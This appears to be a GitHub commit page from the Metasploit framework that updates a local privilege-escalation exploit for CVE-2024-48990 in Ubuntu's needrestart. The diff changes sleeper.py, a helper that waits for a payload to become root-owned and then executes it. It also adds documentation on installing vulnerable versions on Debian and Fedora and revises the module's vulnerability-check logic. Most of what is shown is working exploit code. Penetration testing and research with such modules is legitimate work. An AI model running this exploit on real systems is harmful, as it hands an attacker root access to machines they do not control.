Skip to content

Commit e41f5ad

Browse files
committed
needrestart exploit updates
1 parent d778f54 commit e41f5ad

File tree

3 files changed

+26
-13
lines changed

3 files changed

+26
-13
lines changed

data/exploits/CVE-2024-48990/sleeper.py

Lines changed: 4 additions & 4 deletions
Original file line numberDiff line numberDiff line change
@@ -8,10 +8,10 @@
88
try:
99
file_stat = os.stat('PAYLOAD_PATH')
1010
except FileNotFoundError:
11-
break
11+
exit()
1212
username = pwd.getpwuid(file_stat.st_uid).pw_name
13+
#print(f"Payload owned by: {username}. Stats: {file_stat}")
1314
if (username == 'root'):
14-
#print("Payload owned by: " + username)
15-
os.system('PAYLOAD_PATH')
16-
break
15+
os.system('PAYLOAD_PATH &')
16+
exit()
1717
time.sleep(1)

documentation/modules/exploit/linux/local/ubuntu_needrestart_lpe.md

Lines changed: 10 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -6,12 +6,22 @@ attacker-controlled PYTHONPATH environment variable.
66

77
Verified against Ubuntu 22.04 with needrestart 3.5-5ubuntu2.1
88

9+
Exploitation against vulnerable needrestart versions on
10+
Debian 12 and Fedora 39 were unsuccessful
11+
however install and run instructions are listed below.
12+
913
### Debian
1014

1115
Install: `apt-get install needrestart=3.6-4+deb12u1`
1216

1317
Binary location: `/usr/sbin/needrestart`
1418

19+
### Fedora 39
20+
21+
Install: `dnf install needrestart-3.6-9.fc39.noarch`
22+
23+
Binary location: `/usr/sbin/needrestart`
24+
1525
## Verification Steps
1626

1727
1. Install the application

modules/exploits/linux/local/ubuntu_needrestart_lpe.rb

Lines changed: 12 additions & 9 deletions
Original file line numberDiff line numberDiff line change
@@ -26,6 +26,7 @@ def initialize(info = {})
2626
attacker-controlled PYTHONPATH environment variable.
2727
2828
Verified against Ubuntu 22.04 with needrestart 3.5-5ubuntu2.1
29+
Attempted exploitation against Debian 12, expliotation failed
2930
},
3031
'License' => MSF_LICENSE,
3132
'Author' => [
@@ -74,20 +75,22 @@ def check
7475
'16.04' => Rex::Version.new('2.6-1ubuntu0.1.esm1'),
7576
'12' => Rex::Version.new('3.6-4.deb12u2'), # debian bookworm
7677
'11' => Rex::Version.new('3.5-4.deb11u4'), # debian bullseye
77-
'41' => Rex::Version.new('3.8-1.fc41') # fedora 41
78+
# may be more versions, but this felt good enough
79+
'38' => Rex::Version.new('3.8-1'),
80+
'39' => Rex::Version.new('3.8-1'),
81+
'40' => Rex::Version.new('3.8-1'),
82+
'41' => Rex::Version.new('3.8-1')
7883
}
7984
info = get_sysinfo
80-
return CheckCode::Safe('Only Ubuntu/Debian/Fedora have check functionality') unless ['debian', 'ubuntu', 'Fedora'].include? info[:distro]
85+
return CheckCode::Safe('Only Ubuntu/Debian/Fedora have check functionality') unless ['debian', 'ubuntu', 'fedora'].include? info[:distro]
8186

8287
if info[:distro] == 'ubuntu'
8388
version = info[:version].split(' ')[1].slice(0, 5) # take off any extra version info
8489
return CheckCode::Safe("Ubuntu version #{version} is not vulnerable or untested") unless fixed_versions.key? version
8590
elsif info[:distro] == 'debian'
86-
version = info[:version].split(' ')[2]
87-
return CheckCode::Safe("Debian version #{version} is not vulnerable or untested") unless fixed_versions.key? version
88-
elsif info[:distro] == 'Fedora' # untested XXX need to confirm
89-
version = info[:version].split(' ')[1]
90-
return CheckCode::Safe("Fedora version #{version} is not vulnerable or untested") unless fixed_versions.key? version
91+
return CheckCode::Safe('Debian may be vulnerable however the exploit does not work against it')
92+
elsif info[:distro] == 'fedora'
93+
return CheckCode::Safe('Fedora may be vulnerable however the exploit does not work against it')
9194
end
9295

9396
return CheckCode::Safe('needrestart binary not found') unless command_exists?('needrestart')
@@ -99,9 +102,9 @@ def check
99102
package = Rex::Version.new(package)
100103
return CheckCode::Safe('needrestart not install, or not detected.') if package.nil?
101104

102-
return CheckCode::Appears("Vulnerable needrestart version #{package} detected on Ubuntu/Debian/Fedora #{version}") if package < fixed_versions[version]
105+
return CheckCode::Appears("Vulnerable needrestart version #{package} detected on Ubuntu #{version}") if package < fixed_versions[version]
103106

104-
CheckCode::Safe("needrestart is not vulnerable on Ubuntu/Debian/Fedora #{version}")
107+
CheckCode::Safe("needrestart is not vulnerable on Ubuntu #{version}")
105108
end
106109

107110
def exploit

0 commit comments

Comments
 (0)